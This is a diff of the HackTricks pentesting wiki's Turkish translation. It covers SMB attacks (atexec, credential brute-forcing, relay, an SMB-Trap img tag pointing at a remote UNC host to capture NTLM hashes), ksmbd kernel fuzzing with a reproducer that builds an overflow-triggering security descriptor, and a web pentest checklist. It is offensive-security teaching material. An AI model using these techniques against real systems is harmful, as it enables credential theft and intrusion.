[AtExec](../../windows-hardening/lateral-movement/atexec.md) -Komutları Görev Zamanlayıcı aracılığıyla çalıştır (SMB üzerinden _\pipe\atsvc_ kullanarak).\ +Komutları Görev Zamanlayıcı aracılığıyla çalıştırın (SMB üzerinden _\pipe\atsvc_ kullanılarak).\ **kali**'de /usr/share/doc/python3-impacket/examples/ konumunda bulunur. ```bash ./atexec.py [[domain/]username[:password]@] "command" @@ -421,7 +421,7 @@ Komutları Görev Zamanlayıcı aracılığıyla çalıştır (SMB üzerinden _\ [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) -### ksmbd saldırı yüzeyi ve SMB2/SMB3 protokol fuzzing (syzkaller) +### ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller) {{#ref}} ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -429,19 +429,19 @@ ksmbd-attack-surface-and-fuzzing-syzkaller.md ## **Bruteforce kullanıcı kimlik bilgileri** -**Bu önerilmez; izin verilen maksimum deneme sayısını aşarsanız bir hesabı kilitleyebilirsiniz** +**Bu önerilmez; izin verilen maksimum deneme sayısını aşırsanız bir hesabı kilitleyebilirsiniz** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` ## SMB relay attack -This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.\ -[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +Bu saldırı, iç ağda Responder toolkit'i kullanarak **SMB kimlik doğrulama oturumlarını yakalar** ve bunları bir **hedef makineye** **aktarır**. Eğer kimlik doğrulama **oturumu başarılı olursa**, otomatik olarak sizi bir **system** **shell**'e düşürür.\ +[**Bu saldırı hakkında daha fazla bilgi.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap -Windows kütüphanesi URLMon.dll, bir sayfa SMB üzerinden bazı içeriklere erişmeye çalıştığında otomatik olarak sunucuya kimlik doğrulaması yapmaya çalışır, örneğin: `img src="\\10.10.10.10\path\image.jpg"` +Windows kütüphanesi URLMon.dll, bir sayfa SMB üzerinden bazı içeriklere erişmeye çalıştığında hedefe otomatik olarak kimlik doğrulama denemesi yapar, örneğin: `img src="\\10.10.10.10\path\image.jpg"` This happens with the functions: @@ -450,17 +450,17 @@ This happens with the functions: - URLOpenStream - URLOpenBlockingStream -Bunlar bazı tarayıcılar ve araçlar (like Skype) tarafından kullanılır +Which are used by some browsers and tools (like Skype) -![Kaynak: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) +![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) ### SMBTrap using MitMf -![Kaynak: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) +![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) ## NTLM Theft -Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an [SMB relay attack](#smb-relay-attack). +SMB Trapping'e benzer şekilde, hedef sisteme (ör. SMB üzerinden) kötü amaçlı dosyalar yerleştirmek bir SMB kimlik doğrulama denemesine neden olabilir; bu sayede NetNTLMv2 hash'i Responder gibi bir araçla yakalanabilir. Hash daha sonra çevrimdışı kırılabilir veya bir [SMB relay attack](#smb-relay-attack) için kullanılabilir. [See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md index 058ae355d..9e876e126 100644 --- a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md +++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -1,55 +1,55 @@ -# ksmbd Attack Surface & SMB2/SMB3 Protocol Fuzzing (syzkaller) +# ksmbd Saldırı Yüzeyi & SMB2/SMB3 Protokol Fuzzing (syzkaller) {{#include ../../banners/hacktricks-training.md}} -## Overview -Bu sayfa, syzkaller kullanarak Linux çekirdek içi SMB sunucusu (ksmbd) için uygulanabilir ve fuzz tekniklerini soyutlar. Yapılandırma yoluyla protokol saldırı yüzeyini genişletmeye, SMB2 işlemlerini zincirleyebilen durumlu bir harness oluşturmaya, dilbilgisel olarak geçerli PDU'lar üretmeye, mutasyonları zayıf kapsanan kod yollarına yönlendirmeye ve syzkaller özelliklerinden (focus_areas ve ANYBLOB gibi) yararlanmaya odaklanır. Orijinal araştırma belirli CVE'leri sıralasa da, burada yeniden kullanılabilir metodoloji ve kendi kurulumlarınıza uyarlayabileceğiniz somut kesitleri vurguluyoruz. +## Genel Bakış +Bu sayfa, syzkaller kullanarak Linux in-kernel SMB sunucusu (ksmbd) üzerinde pratik teknikleri özetler. Odak, yapılandırma yoluyla protokol saldırı yüzeyini genişletmek, SMB2 operasyonlarını zincirleyebilen durumlu bir harness oluşturmak, grammar-geçerli PDU'lar üretmek, mutasyonları zayıf-kapsanan kod yollarına yönlendirmek ve focus_areas ile ANYBLOB gibi syzkaller özelliklerinden faydalanmaktır. Orijinal araştırma belirli CVE'leri sıralasa da burada yeniden kullanılabilir metodolojiye ve kendi kurulumlarınıza uyarlayabileceğiniz somut parçacıklara vurgu yapıyoruz. -Hedef kapsam: SMB2/SMB3 over TCP. Harness'i basit tutmak için Kerberos ve RDMA kasıtlı olarak kapsam dışıdır. +Hedef kapsam: SMB2/SMB3 over TCP. Kerberos ve RDMA, harness'i basit tutmak için kasıtlı olarak kapsam dışıdır. --- -## Expand ksmbd Attack Surface via Configuration -Varsayılan olarak, minimal bir ksmbd kurulum server'ın büyük bölümlerini test edilmemiş bırakır. Sunucuyu ek ayrıştırıcılar/işleyiciler üzerinden çalıştırmak ve daha derin kod yollarına ulaşmak için aşağıdaki özellikleri etkinleştirin: +## Yapılandırma ile ksmbd Saldırı Yüzeyini Genişletme +Varsayılan olarak, minimal bir ksmbd kurulumu sunucunun büyük bölümlerini test edilmemiş bırakır. Sunucuyu ek parser/handler'lar üzerinden geçirip daha derin kod yollarına ulaşmak için aşağıdaki özellikleri etkinleştirin: - Global düzey - Durable handles - Server multi-channel - SMB2 leases -- Paylaşım bazlı (Per-share-level) +- Paylaşıma-özel düzey - Oplocks (varsayılan olarak açık) - VFS objects -Bunları etkinleştirmek, şu modüllerde daha fazla yürütme sağlar: -- smb2pdu.c (command parsing/dispatch) +Bunları etkinleştirmek, şu modüllerde yürütmeyi artırır: +- smb2pdu.c (komut parse/dispatch) - ndr.c (NDR encode/decode) - oplock.c (oplock request/break) -- smbacl.c (ACL parsing/enforcement) +- smbacl.c (ACL parse/uygulama) - vfs.c (VFS ops) - vfs_cache.c (lookup cache) Notlar -- Tam seçenekler dağıtımınızın ksmbd userspace'ine (ksmbd-tools) bağlıdır. Durable handles, leases, oplocks ve VFS object'leri etkinleştirmek için /etc/ksmbd/ksmbd.conf ve paylaşıma özel bölümleri inceleyin. -- Multi-channel ve durable handles, durum makinelerini ve ömürleri değiştirir; çoğunlukla eşzamanlılık altında UAF/refcount/OOB hatalarını su yüzüne çıkarırlar. +- Tam seçenekler dağıtımınızın ksmbd userspace'ine (ksmbd-tools) bağlıdır. Durable handles, leases, oplocks ve VFS objects'i etkinleştirmek için /etc/ksmbd/ksmbd.conf ve paylaşıma özel bölümleri inceleyin. +- Multi-channel ve durable handles durum makinelerini ve ömürleri değiştirir; bu genellikle concurrency altında UAF/refcount/OOB hatalarını yüzeye çıkarır. --- -## Authentication and Rate-Limiting Adjustments for Fuzzing -SMB3 geçerli bir session gerektirir. Harness'lerde Kerberos uygulamak karmaşıktır, bu yüzden fuzz için NTLM/guest tercih edin: +## Fuzzing için Kimlik Doğrulama ve Rate-Limiting Ayarları +SMB3 geçerli bir session gerektirir. Harness'lerde Kerberos uygulamak karmaşıklık eklediği için fuzzing için NTLM/guest tercih edin: - Guest erişimine izin verin ve map to guest = bad user olarak ayarlayın ki bilinmeyen kullanıcılar GUEST'e düşsün. -- NTLMv2'yi kabul edin (devre dışıysa policy'yi patch'leyin). Bu, el sıkışmayı basit tutarken SMB3 kod yollarını çalıştırır. -- Deneyler sırasında sıkı credit kontrollerini patch'leyin (CVE-2024-50285 için yapılan sertleştirme aynı anda-op crediting'i daha sıkı hale getirmişti). Aksi halde rate-limitler fuzzed dizileri çok erken reddedebilir. -- Yüksek verimli fuzzing sırasında erken reddeleri önlemek için max connections sayısını (ör. 65536) arttırın. +- NTLMv2'yi kabul edin (kapalıysa policy'yi patch'leyin). Bu, handshake'i basit tutarken SMB3 kod yollarını çalıştırır. +- Deneyler sırasında katı credit kontrollerini patch'leyin (CVE-2024-50285 için yapılan hardening sonrasında simultaneous-op kredilendirme daha katı hale geldi). Aksi takdirde rate-limit'ler fuzz edilmiş dizileri çok erken reddedebilir. +- Yüksek verimli fuzzing sırasında erken reddi önlemek için max connections'ı (ör. 65536) artırın. -Uyarı: Bu gevşetmeler sadece fuzz için uygulanmalıdır. Bu ayarlarla production'a deploy etmeyin. +Dikkat: Bu gevşetmeler yalnızca fuzzing'i kolaylaştırmak içindir. Bu ayarlarla üretimde dağıtmayın. --- -## Stateful Harness: Extract Resources and Chain Requests -SMB stateful'dır: birçok istek önceki cevaplar tarafından döndürülen tanımlayıcılara (SessionId, TreeID, FileID çiftleri) bağlıdır. Harness'iniz, cevapları parse etmeli ve aynı program içinde ID'leri yeniden kullanarak derin işleyicilere ulaşmalıdır (ör. smb2_create → smb2_ioctl → smb2_close). +## Durumlu Harness: Kaynak Çıkarma ve İstekleri Zincirleme +SMB durumludur: birçok istek önceki yanıtlarda döndürülen tanımlayıcılara bağlıdır (SessionId, TreeID, FileID çiftleri). Harness'iniz yanıtları parse etmeli ve aynı program içinde ID'leri yeniden kullanarak daha derin handler'lara ulaşmalıdır (ör. smb2_create → smb2_ioctl → smb2_close). -Örnek, bir response buffer'ı işlemek (ilk +4B NetBIOS PDU length atlanarak) ve ID'leri cache'lemek için bir snippet: +Aşağıda bir yanıt buffer'ını işlemek (ilk +4B NetBIOS PDU uzunluğunu atlayarak) ve ID'leri önbelleğe almak için örnek bir snippet: ```c // process response. does not contain +4B PDU length void process_buffer(int msg_no, const char *buffer, size_t received) { @@ -76,13 +76,13 @@ break; } ``` İpuçları -- Tek bir fuzzer sürecinin kimlik doğrulama/durumu paylaşmasını sağlayın: ksmbd’s global/session tables ile daha iyi stabilite ve kapsama elde edilir. syzkaller hâlâ ops'ları async olarak işaretleyerek concurrency enjekte eder; dahili olarak yeniden çalıştırır. -- Syzkaller’s experimental reset_acc_state global state'i sıfırlayabilir ancak ciddi yavaşlamaya neden olabilir. Stabiliteyi tercih edin ve fuzzing'e odaklanın. +- Kimlik doğrulama/durumu paylaşan tek bir fuzzer süreci tutun: ksmbd’nin global/session tabloları ile daha iyi stabilite ve kapsama. syzkaller yine ops’ları async işaretleyerek eşzamanlılık enjekte eder, dahili olarak yeniden çalıştırır. +- Syzkaller’in deneysel reset_acc_state’i global state’i sıfırlayabilir ama ağır yavaşlamaya neden olabilir. Bunun yerine stabiliteyi tercih edin ve fuzzing’e odaklanın. --- -## Gramer-Tabanlı SMB2 Üretimi (Geçerli PDUs) -Microsoft Open Specifications içindeki SMB2 yapılarını bir fuzzer grammar'ına çevirin, böylece generator'ünüz yapısal olarak geçerli PDUs üretir ve bu PDUs sistematik olarak dispatchers ve IOCTL handlers'a ulaşır. +## Gramer Tabanlı SMB2 Oluşturma (Valid PDUs) +Microsoft Open Specifications içindeki SMB2 yapılarını bir fuzzer gramerine çevirin, böylece generator’ünüz yapısal olarak geçerli PDUs üretir ve bunlar sistematik olarak dispatcher’lara ve IOCTL handler’larına ulaşır. Örnek (SMB2 IOCTL request): ``` @@ -107,12 +107,12 @@ Input array[int8] Output array[int8] } [packed] ``` -Bu stil, yapı boyutları/ofsetlerinin doğru olmasını zorlar ve kör mutasyona kıyasla kapsamı önemli ölçüde iyileştirir. +Bu stil, structure sizes/offsets'ın doğru olmasını sağlar ve blind mutation'a kıyasla coverage'i dramatik şekilde iyileştirir. --- ## Directed Fuzzing With focus_areas -syzkaller’s deneysel focus_areas özelliğini, halihazırda zayıf kapsama sahip belirli fonksiyonlar/dosyalar için ağırlık vermek üzere kullanın. Örnek JSON: +syzkaller'in deneysel focus_areas özelliğini, şu anda coverage'i zayıf olan belirli functions/files üzerinde ağırlık vermek için kullanın. Örnek JSON: ```json { "focus_areas": [ @@ -122,9 +122,9 @@ syzkaller’s deneysel focus_areas özelliğini, halihazırda zayıf kapsama sah ] } ``` -Bu, smbacl.c içindeki arithmetic/overflow yollarına ulaşan geçerli ACLs'leri oluşturmaya yardımcı olur. Örneğin, aşırı büyük bir dacloffset içeren kötü niyetli bir Security Descriptor bir integer-overflow'u yeniden üretir. +Bu, smbacl.c içindeki arithmetic/overflow yollarına isabet eden geçerli ACLs oluşturulmasına yardımcı olur. Örneğin, aşırı büyük bir dacloffset içeren kötü amaçlı bir Security Descriptor bir integer-overflow'ı yeniden üretir. -Reproducer oluşturucu (minimal Python): +Reproducer builder (minimal Python): ```python def build_sd(): import struct @@ -143,8 +143,8 @@ return bytes(sd) ``` --- -## ANYBLOB ile Kapsam Platolarını Aşmak -syzkaller’in anyTypes (ANYBLOB/ANYRES), karmaşık yapıları genel olarak mutasyon geçirebilen blob'lara dönüştürmeye izin verir. Kamuya açık SMB pcaps'lerinden yeni bir corpus oluşturun ve payload'ları pseudo-syscall'inizi çağıran syzkaller programlarına dönüştürün (ör., syz_ksmbd_send_req): +## ANYBLOB ile Kapsama Platolarını Aşmak +syzkaller’s anyTypes (ANYBLOB/ANYRES), karmaşık yapıları genel olarak değişen blob'lara dönüştürmeyi sağlar. Kamuya açık SMB pcap'lerinden yeni bir corpus oluşturun ve payload'ları pseudo-syscall'unuzu çağıran syzkaller programlarına dönüştürün (ör. syz_ksmbd_send_req): ```bash # Extract SMB payloads to JSON # tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json @@ -167,14 +167,14 @@ f.write( f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)" ) ``` -This jump-starts exploration and can immediately trigger UAFs (e.g., in ksmbd_sessions_deregister) while lifting coverage a few percent. +Bu, keşfi hızlandırır ve kapsama birkaç puan artırırken hemen UAFs (ör. ksmbd_sessions_deregister içinde) tetikleyebilir. --- -## Sanitizers: Beyond KASAN -- KASAN, heap hataları (UAF/OOB) için birincil tespit aracı olmaya devam eder. -- KCSAN genellikle bu hedefte false positives veya düşük şiddetli data races üretir. -- UBSAN/KUBSAN, array-index semantiği nedeniyle KASAN'ın kaçırdığı declared-bounds hatalarını yakalayabilir. Örnek: +## Sanitizers: KASAN'ın Ötesi +- KASAN, heap hataları (UAF/OOB) için birincil tespit aracıdır. +- KCSAN genellikle bu hedefte yanlış pozitifler veya düşük şiddetli data races verir. +- UBSAN/KUBSAN, KASAN'ın dizi indeks semantiği nedeniyle kaçırdığı declared-bounds hatalarını yakalayabilir. Örnek: ```c id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]); struct smb_sid { @@ -186,19 +186,19 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b --- -## Bant Genişliği ve Paralellik Notları -- Tek bir fuzzer process (shared auth/state), ksmbd için önemli ölçüde daha kararlı olma eğilimindedir ve syzkaller’ın dahili async executor’u sayesinde yine de races/UAFs’i ortaya çıkarır. -- Birden fazla VM ile toplamda hâlâ saniyede yüzlerce SMB komutu işleyebilirsiniz. Fonksiyon seviyesinde coverage olarak fs/smb/server’ın ~%60’ı ve smb2pdu.c’nin ~%70’i civarı ulaşılabilir; ancak state-transition kapsamı bu tür metriklerle yeterince temsil edilmez. +## Verim ve Paralellik Notları +- Tek bir fuzzer süreci (shared auth/state), ksmbd için genellikle çok daha kararlıdır ve syzkaller’in dahili async executor’ü sayesinde hala races/UAFs’i ortaya çıkarır. +- Birden fazla VM ile yine de toplamda saniyede yüzlerce SMB komutuna ulaşabilirsiniz. Fonksiyon düzeyinde kapsama, fs/smb/server için ~%60 ve smb2pdu.c için ~%70 civarında elde edilebilir, ancak state-transition kapsaması bu tür metriklerle yeterince temsil edilmez. --- ## Pratik Kontrol Listesi -- ksmbd’de durable handles, leases, multi-channel, oplocks ve VFS objects’i etkinleştirin. -- guest ve map-to-guest’e izin verin; NTLMv2’yi kabul edin. credit limits’i patch’leyin ve fuzzer stabilitesi için max connections’ı artırın. -- SessionId/TreeID/FileIDs’i cache’leyen ve create → ioctl → close zinciri kuran stateful bir harness inşa edin. -- Yapısal geçerliliği korumak için SMB2 PDUs için bir grammar kullanın. -- Zayıf kapsanan fonksiyonları overweight etmek için focus_areas kullanın (ör. smbacl.c yolları, smb_check_perm_dacl gibi). -- Plateau’ları kırmak için gerçek pcaps’ten ANYBLOB ile seedleyin; seed’leri tekrar kullanım için syz-db ile paketleyin. +- ksmbd'de durable handles, leases, multi-channel, oplocks ve VFS objelerini etkinleştirin. +- guest ve map-to-guest'e izin verin; NTLMv2'yi kabul edin. Fuzzer kararlılığı için credit limits'i patch'leyin ve max connections'ı yükseltin. +- SessionId/TreeID/FileID'leri cache'leyen ve create → ioctl → close zincirleyen stateful bir harness oluşturun. +- Yapısal geçerliliği korumak için SMB2 PDU'ları için bir grammar kullanın. +- Zayıf kapsanan fonksiyonları ağırlıklandırmak için focus_areas kullanın (ör. smbacl.c yolları: smb_check_perm_dacl gibi). +- Düzleşmeleri kırmak için gerçek pcaps'tan ANYBLOB ile seed verin; yeniden kullanım için seed'leri syz-db ile paketleyin. - KASAN + UBSAN ile çalıştırın; UBSAN declared-bounds raporlarını dikkatle triage edin. --- @@ -207,7 +207,7 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b - Doyensec – ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html - syzkaller: https://github.com/google/syzkaller - ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4 -- Async executor değişikliği (commit fd8caa5): https://github.com/google/syzkaller/commit/fd8caa5 +- Async executor change (commit fd8caa5): https://github.com/google/syzkaller/commit/fd8caa5 - syz-db: https://github.com/google/syzkaller/tree/master/tools/syz-db - KASAN: https://docs.kernel.org/dev-tools/kasan.html - UBSAN/KUBSAN: https://docs.kernel.org/dev-tools/ubsan.html diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index b2025ea1e..3fce6ec4b 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -4,7 +4,7 @@ ## Temel Bilgiler -Web servisi en **yaygın ve kapsamlı hizmet**tir ve birçok **farklı türde zafiyet** vardır. +Web servisi en **yaygın ve kapsamlı servis**dir ve birçok **farklı türde vulnerabilities** vardır. **Varsayılan port:** 80 (HTTP), 443(HTTPS) ```bash @@ -26,29 +26,29 @@ web-api-pentesting.md ## Metodoloji özeti -> Bu metodolojide bir domain (veya subdomain) ve sadece onu hedef alacağınızı varsayıyoruz. Bu nedenle, kapsam içindeki her keşfedilen domain, subdomain veya web server'ı belirsiz IP için bu metodolojiyi uygulamalısınız. +> Bu metodolojide bir domain'i (veya subdomain'i) ve yalnızca onu hedef alacağınızı varsayacağız. Bu yüzden, bu metodolojiyi kapsam içindeki her keşfedilen domain, subdomain veya web sunucusu belirlenmemiş IP için uygulamalısınız. -- [ ] Başlangıç olarak web server tarafından kullanılan **technologies**'i **identifying** ile tespit edin. Tech'i başarıyla tespit edebilirseniz testin geri kalanında akılda tutulması gereken **tricks**'e bakın. -- [ ] Kullandığınız teknolojinin sürümüne ait herhangi bir **known vulnerability** var mı? -- [ ] Herhangi bir **well known tech** mi kullanılıyor? Daha fazla bilgi çıkarmak için herhangi bir **useful trick** var mı? -- [ ] Çalıştırılacak herhangi bir **specialised scanner** var mı (ör. wpscan)? -- [ ] Genel amaçlı **general purposes scanners**'ı başlatın. Ne bulacaklarını veya ilginç bilgi edinip edinmeyeceklerini bilemezsiniz. -- [ ] **initial checks** ile başlayın: **robots**, **sitemap**, **404** error ve **SSL/TLS scan** (HTTPS ise). -- [ ] Web sayfasını **spidering** ile taramaya başlayın: Olası tüm **files, folders** ve kullanılan **parameters being used**'i **find** edin. Ayrıca **special findings** için kontrol edin. -- [ ] _Not: brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin spidering yapılmalıdır._ -- [ ] **Directory Brute-Forcing**: Keşfedilen tüm klasörleri yeni **files** ve **directories** arayarak brute force etmeyi deneyin. -- [ ] _Not: brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin Brute-Forced yapılmalıdır._ -- [ ] **Backups checking**: Ortaya çıkan **discovered files**'ların yedeklerini, yaygın backup uzantılarını ekleyerek bulup bulamayacağınızı test edin. -- [ ] **Brute-Force parameters**: Gizli parametreleri **find** etmeye çalışın. -- [ ] Tüm olası **endpoints** tarafından kabul edilen **user input**'ları **identified** ettiğinizde, bunlarla ilgili her türlü **vulnerabilities** için kontrol edin. -- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md) +- [ ] Önce web sunucusunun kullandığı **teknolojileri belirleyin**. Teknolojiyi başarılı bir şekilde tanımlayabilirseniz, testin geri kalanında akılda tutulması gereken **ipuçlarını** arayın. +- [ ] Kullandığınız teknolojinin sürümüne ait herhangi bir **bilinen vulnerability** var mı? +- [ ] Herhangi bir **well known tech** mi kullanılıyor? Daha fazla bilgi çıkarmak için kullanışlı bir **trick** var mı? +- [ ] Çalıştırılması gereken herhangi bir **specialised scanner** var mı (ör. wpscan)? +- [ ] **General purposes scanners** çalıştırın. Ne bulacaklarını ya da ilginç bilgi elde edip etmeyeceklerini asla bilemezsiniz. +- [ ] Başlangıç kontrolleriyle başlayın: **robots**, **sitemap**, **404** hata ve **SSL/TLS scan** (eğer HTTPS). +- [ ] Web sayfasını **spidering** ile tarayın: Kullanılan tüm olası **files, folders** ve **parameters being used**i bulun. Ayrıca **special findings** için kontrol edin. +- [ ] _Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin spidering ile taranmalıdır._ +- [ ] **Directory Brute-Forcing**: Keşfedilen tüm klasörlerde yeni **files** ve **directories** aramak için brute force yapmayı deneyin. +- [ ] _Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin Brute-Forced edilmelidir._ +- [ ] **Backups checking**: Keşfedilen dosyaların **backups**'ını bulup bulamayacağınızı, yaygın yedek uzantılarını ekleyerek test edin. +- [ ] **Brute-Force parameters**: Gizli parametreleri bulmaya çalışın. +- [ ] Tüm olası **endpoints** ve **user input** kabul eden noktaları belirledikten sonra, bunlarla ilişkili her türlü **vulnerabilities** için kontrol edin. +- [ ] [Bu kontrol listesini takip edin](../../pentesting-web/web-vulnerabilities-methodology.md) -## Sunucu Versiyonu (Vulnerable?) +## Sunucu Sürümü (Etkilenebilir mi?) -### Identify +### Tanımlama -Çalışmakta olan sunucunun **version**'ı için bilinen herhangi bir **known vulnerabilities** olup olmadığını kontrol edin.\ -Yanıtın **HTTP headers and cookies** çok faydalı olabilir; kullanılan **technologies** ve/veya **version**'ı **identify** etmek için yardımcı olur. **Nmap scan** sunucu versiyonunu belirleyebilir, ayrıca [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com)** gibi araçlar da faydalı olabilir:** +Çalışan sunucunun sürümü için bilinen zafiyetler olup olmadığını kontrol edin.\ +HTTP yanıtının başlıkları ve çerezleri, kullanılan teknolojileri ve/veya sürümü **tanımlamak** için çok yararlı olabilir. **Nmap scan** sunucu sürümünü tespit edebilir, ancak [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com)** gibi araçlar da faydalı olabilir:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive @@ -57,15 +57,15 @@ webanalyze -host https://google.com -crawl 2 ``` Ara **için** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) -### **Herhangi bir WAF var mı** +### **Herhangi bir WAF olup olmadığını kontrol et** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Web teknoloji ipuçları +### Web teknoloji hileleri -Kullanılan farklı ve iyi bilinen **teknolojilerde** zafiyet **bulmak** için bazı **ipuçları**: +Kullanılan farklı ve iyi bilinen **technologies** içinde **vulnerabilities** bulmaya yönelik bazı **tricks**: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -102,28 +102,27 @@ Kullanılan farklı ve iyi bilinen **teknolojilerde** zafiyet **bulmak** için b - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) - [**Sitecore**](sitecore/index.html) -_Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\ -Eğer web uygulaması daha önce listelenen herhangi bir iyi bilinen teknoloji veya başka bir **tech/platform** kullanıyorsa, İnternette yeni ipuçları aramayı unutmayın (ve bana haber verin!). +_Dikkate alın ki **same domain** farklı **different technologies** kullanıyor olabilir farklı **ports**, **folders** ve **subdomains** üzerinde._\ +Eğer **web application** herhangi bir iyi bilinen **tech/platform listed before** veya **any other** kullanıyorsa, yeni **tricks** için **search on the Internet** yapmayı unutmayın (ve bana haber verin!). -### Kaynak Kodu İncelemesi +### Kaynak Kod İncelemesi -Eğer uygulamanın **source code**'u **github**'da erişilebilir durumdaysa, uygulama üzerinde kendi başınıza bir **White box test** gerçekleştirmenin yanı sıra mevcut **Black-Box testing** için faydalı olabilecek **bazı bilgiler** bulunabilir: - -- Web üzerinden erişilebilir şekilde bir **Change-log or Readme or Version** dosyası ya da sürüm bilgisi içeren başka bir şey var mı? -- Credentials nasıl ve nerede saklanıyor? Erişilebilir bir **file** içinde usernames or passwords var mı? -- Passwords plain text mi, encrypted mi yoksa hangi hashing algorithm kullanılıyor? -- Bir şeyleri şifrelemek için herhangi bir master key kullanılıyor mu? Hangi algorithm kullanılıyor? -- Herhangi bir vulnerability'yi kullanarak bu dosyalardan herhangi birine erişebiliyor musunuz? -- Github'da (solved and not solved) **issues** içinde ilginç bilgiler var mı? Veya **commit history**'de (belki eski bir commit içinde tanıtılmış bir password)? +Eğer uygulamanın **source code**'u **github** üzerinde erişilebilir durumdaysa, uygulama üzerinde kendi **your own a White box test**'inizi gerçekleştirmek dışında, mevcut **Black-Box testing** için **useful** olabilecek **some information** olabilir: +- Web üzerinden erişilebilir bir **Change-log or Readme or Version** dosyası ya da **version info accessible** içeren başka bir şey var mı? +- **credentials** nasıl ve nerede saklanıyor? Erişilebilir bir **file** içinde credentials (kullanıcı adları veya parolalar) var mı? +- **passwords** **plain text** halinde mi, **encrypted** mi yoksa hangi **hashing algorithm** kullanılıyor? +- Bir şeyi şifrelemek için herhangi bir **master key** kullanılıyor mu? Hangi **algorithm** kullanılıyor? +- Bu dosyalardan herhangi birine bir zafiyet kullanarak **access any of these files** sağlanabilir mi? +- **github**'ta (çözülmüş veya çözülmemiş) **issues** içinde herhangi bir **interesting information in the github** var mı? Veya **commit history** içinde (belki eski bir commit içine yerleştirilmiş bir **password introduced inside an old commit**)? {{#ref}} code-review-tools.md {{#endref}} -### Automatic scanners +### Otomatik tarayıcılar -#### General purpose automatic scanners +#### Genel amaçlı otomatik tarayıcılar ```bash nikto -h whatweb -a 4 @@ -135,14 +134,14 @@ nuclei -ut && nuclei -target # https://github.com/ignis-sec/puff (client side vulns fuzzer) node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ" ``` -#### CMS tarayıcıları +#### CMS scanners -Bir CMS kullanılıyorsa **tarayıcı çalıştırmayı** unutmayın, belki ilginç bir şey bulunur: +Bir CMS kullanılıyorsa **run a scanner** yapmayı unutmayın; belki işe yarar bir şey bulunur: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** web sitelerindeki güvenlik sorunları için. (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** web sitelerindeki güvenlik sorunlarını tarar. (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** 